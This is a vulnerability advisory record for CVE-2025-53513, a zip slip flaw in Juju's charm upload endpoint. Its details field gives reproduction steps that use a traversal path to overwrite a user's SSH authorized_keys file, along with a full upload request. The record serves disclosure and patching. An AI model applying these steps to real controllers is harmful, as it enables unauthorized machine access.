CVE-2025-53513: Github.com/juju/juju Juju Zip Slip Vulnerability Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24ch-w38v-xmh8",
  "modified" : "2025-08-26T20:20:46Z",
  "published" : "2025-07-09T15:29:03Z",
  "aliases" : [ "CVE-2025-53513" ],
  "summary" : "Juju zip slip vulnerability via authenticated endpoint",
  "details" : "### Impact\n\nAny user with a Juju account on a controller can upload a charm to the /charms endpoint.\nNo specific permissions are required - it's just sufficient for the user to exist in the controller user database.\nA charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.\n\n### Details\n\nA controller exposes three charm-related HTTP API endpoints, as follows:\n- PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm>\n- POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms\n- GET https://<controller-ip>:17070/charms\n\nThese endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.\n\nTo reproduce:\n\n```\njuju bootstrap\njuju add-user testuser\njuju change-user-password testuser\n```\n\nDownload the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm)\n\nDownload and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit)\n\nRun the following command to generate a new SSH key pair: `ssh-keygen`\n\nCopy the contents of the newly created public key into a file called `authorized_keys`\n\nRun the following command to inject the malicious path into the ZIP file:\n```\nslipit hello.zip authorized_keys --separator ../../../../../../home/\nubuntu/.ssh/\n```\n\nSend the PUT request below to a model on the target controller. Note the following:\n- the model UUID and controller IP address in the request must be updated\n- the Juju-Curl header needs to be sent with a value that starts with the “local:” string\n- the PUT body content should have the exact contents of the ZIP file\n- the Basic Authorization header should be tied to the user that was created above\n- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-<updated-sha>`)\n- \n```\nPUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c\nHTTP/1.1\nHost: 10.4.154.217:17070\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko\n/20100101 Firefox/135.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\nTe: trailers\nConnection: keep-alive\nContent-Length: 40021\nContent-Type: application/zip\nJuju-Curl: local:pathtw\nAuthorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==\n<ZIP BODY Content>\n```\n\nObserve that the response states that the charm has been uploaded.\n\nAttempt to SSH to the controller by using the private key that was generated above.\n\nObserve that it is possible to authenticate because the file has been overwritten.\n\n### Code\n\nThe /charms handlers are registered here\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990\n\nAnd the only auth required is that the incoming request be for an authenticated user\n\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754\n\nbut no specific permission checks are done.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\n[F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/juju/juju"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250619215741-6356e984b82a"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-53513"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e"
  }, {
    "type" : "WEB",
    "url" : "https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/juju/juju"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3804"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-24" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-09T15:29:03Z",
    "nvd_published_at" : "2025-07-08T17:16:04Z"
  }
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